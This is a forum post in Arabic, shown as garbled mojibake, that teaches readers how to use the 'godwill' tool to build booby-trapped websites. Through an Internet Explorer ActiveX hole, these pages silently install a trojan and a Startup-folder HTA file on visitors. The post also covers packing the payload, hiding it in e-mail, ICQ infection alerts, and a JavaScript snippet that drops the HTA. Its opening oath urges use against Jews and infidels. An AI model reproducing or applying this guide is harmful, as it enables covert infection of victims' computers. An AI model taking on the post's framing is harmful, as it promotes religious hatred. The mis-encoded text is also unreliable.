ÔÑÍ ÈÑäÇãÌ ÇáÇÓØæÑÉ godwill áÚãá ãæÇÞÚ ãáÛæãÉ

ÇáßÇÊÈ : ÇáÔãÇáí

ÞÈá Çä ÊÞæã ÈÇáÞÑÇÁÉ æÊÍãíá ÇáÈÑäÇãÌ ÇÞÑÃåÐÇ(ÇÞÓã ÈÇááå ÇáÚÙíã Çä áÇÓÊÎÏãÉ ÖÏ ÇÎæÇäí ÇáãÓáãíä æÇäãÇ ÖÏ ÇáíåæÏ æÇáßÝÑÉ ÇáãáÇÚíä)

ãËá ãÇ ÊÚÑÝæä ßáßã ÈÑäÇãÌ ÇáÇÓØæÑÉ godwill Çæ godmessage ÊÞÏÑ ÊäÒá ÇáÈÇÊÔ ÚäÏ ÇáÖÍíÉ ÍÊì ÈÏæä ãÇ íÍÓ Úä ØÑíÞ ÝÞØ ÊÕÝÍÉ áãæÞÚß Çæ íãßä Ðáß ÈÇÑÓÇá Çíãíá Çæ ÇÑÓÇá ÈÇáÇÓíßæ ÇÐÇ åæ ßÇä ÚäÏå ÇßÓÈíáæíÑ 5.5
ÇáÈÑäÇãÌ íÍÊæí Úáì ÎãÓ ÔÛáÇÊ
1-html
2-evil
3-upx
4-E-mail
5-icq
ÎáíäÇ äÈÏì Ýí Çæá æÍÏÉ æÇáãÞÏãÉ ÍÞÊå ÔæÝ ÇáÇßÓÈíæíÑ 5.5 íÓãÍ ÈÎÇÕíÉ
active X Çááí åí ÊäÒá ÝÇíáÇÊ ÈÏæä ãÇ ÇáãÓÊÎÏã íÍÓ áãÇ ÊäÒá ÚäÏå ÇáÈÇÊÔ ÊÑæÍ Úáì
start up æíÊßæä ãáÝ ÇãÊÏÇÏå
hta ÈÚÏíä ÇáÇÎ áãÇ íÓæí ÑíÓÊÇÑÊ Èææææææææææã æÚáì Øæá íÔÊÛá ÇáÈÇÊÔ



1:ÊÍØ ÇáÈÇÊÔ åäÇ ÈÓ ãÇ íÕíÑ íßæä ÇßËÑ 34 ÇäÊ íãßä ÊÞæá åÐí ãæ ÈÕÇáÍß áÇ íÇÍÈíÈí ÈÕÇáÍß æäÕ
áÇäæ æÇÍÏ ãÓÊÍíá íÞÑì Ýí ÇáãæÞÚ ÇáÚÙíã áãÏÉ ÑÈÚ ÓÇÚÉ ÌÑÈ kuang2thevirus æÇáÈÇÊÔ ãÇáå 10 ßíáæ ÈÇíÊ ÈÚÏíä ÊÞÏÑ ÊÍØ Çí ÈÇÊÔ ÊÑíÏå
2:ÊÞÏÑ ÊÍØ åäÇ ÇáÕÝÍÉ Çááí ÊÑíÏ Êßæä ÝíåÇÇáÈÇÊÔ Çæ ÊÍØuse default page ÇÐÇ ãÇÚäÏß
3:æÔ ÊÍÈ íÈßæä ÇÓã ÇáÝÇíá ÇáäÇÊÌ Çááí åæhtml æÊÞÏÑ ÊÔÝÑå ÈÚÏ
4:ÇÐÇ ÚäÏß ÇÓíßíæ æÊÍÈ ÊÚÑÝ ÇÐÇ ÏÎá ÇáÈÇÊÔ ÚäÏ ÇáÖÍíÉ ÍØ ÑÞãß åäÇß
5:ÊÎÊÇÑ ÇÓã hta Çááí ÑÇÍ íÊÒÑÚ ÚäÏ ÇáÖÍíÉ
åÐí Çåã ÇáÎØæÇÊ ÈÚÏíä ÏæÓ Úáì done æÊáÇÞí ãáÝ ÌÏíÏ ãæÌæÏ ÚäÏß Ýí ãáÝ ÇáÈÑäÇãÌ
ÇáÈÑäÇãÌ ÈÇáÛÉ ÇáÇíØÇáíå ßíÝ ÊÛíÑåÇ ÚÑÈí Ôáæä¿¿

ÊÑæÍ ÊÝÊÍ notepad ÈÚÏíä ÊÑæÍ Úáì ÇáÕÝÍÉ Çááí ÇäÊå ÓæíÊåÇ
ÊÝÊÍåÇ Úä ØÑíÞåÇ ÇäÊÈå
ÊÛíÑ ÇáßæÏ ááÚÑÈí ÈÇáØÑíÞå åÐí :

if (navigator.systemLanguage.substring(0,2)=="ar") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\\\..\\\\All Users\\\\Start menu\\\\Programs\\\\StartUp\\\\welcome.hta"} else {fn="..\\\\All Users\\\\Start menu\\\\Programs\\\\StartUp\\\\welcome.hta"}} else if(navigator.systemLanguage.substring(0,2)=="en"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\\\..\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\welcome.hta
ÇÚÊÞÏ Çäå ÇÊÍáÊ ãÔÇßáß Çæá Ôí åÐÇ áßá ÇáßãÈíæÊÑÇÊ áÇäæ Ýí ßãÈíæÊÑÇÊ ÈÇáÚÑÈí æÝí ÈÇáÇäÌáíÒí æÝí æÝí
åÐÇ ÈÓ ááÇäÌáíÒí Çæ
arabic enabled
ÇäÊ ÊÞÏÑ ÊÛíÑåÇ ááÚÑÈí
ÇáÞæÇÆã Ýí ÇÓÝá ÇáÈÑäÇãÌ
evil
ÊÚÊãÏ Úáì ÇáÇíÈí
upx
áÖÛØ ÇáÈÇÊÔ
E-mail
ÊÞÏÑ ÊÏÒ Çíãíá æÇáÔÇÔÉ Çááí ÝíåÇ ÇáÈÇÊÔ ÈÕÚæÈÉ ÊÊáÇÍÙ
icq
íÚáãß Ôáæä ÊÑÓá ÈØÇÞÉ ãáÛæãÉ

æåÐÇ ÇáãæÞÚ Ýíå ÇÕÏÇÑÇÊ ááÈÑäÇãÌ ãä 1ÇáÜÜì ÇáÇÕÏÇÑÇáÓÇÏÓ
æÇäÇ ÇÔæÝ Çäå ÇáÂÕÏÇÑ ÇáÓÇÏÓ ÇÝÖá Ôí
http://www.tlsecurity.net/archive/code/activex
ÊÍíÇÊí ááÌãíÚ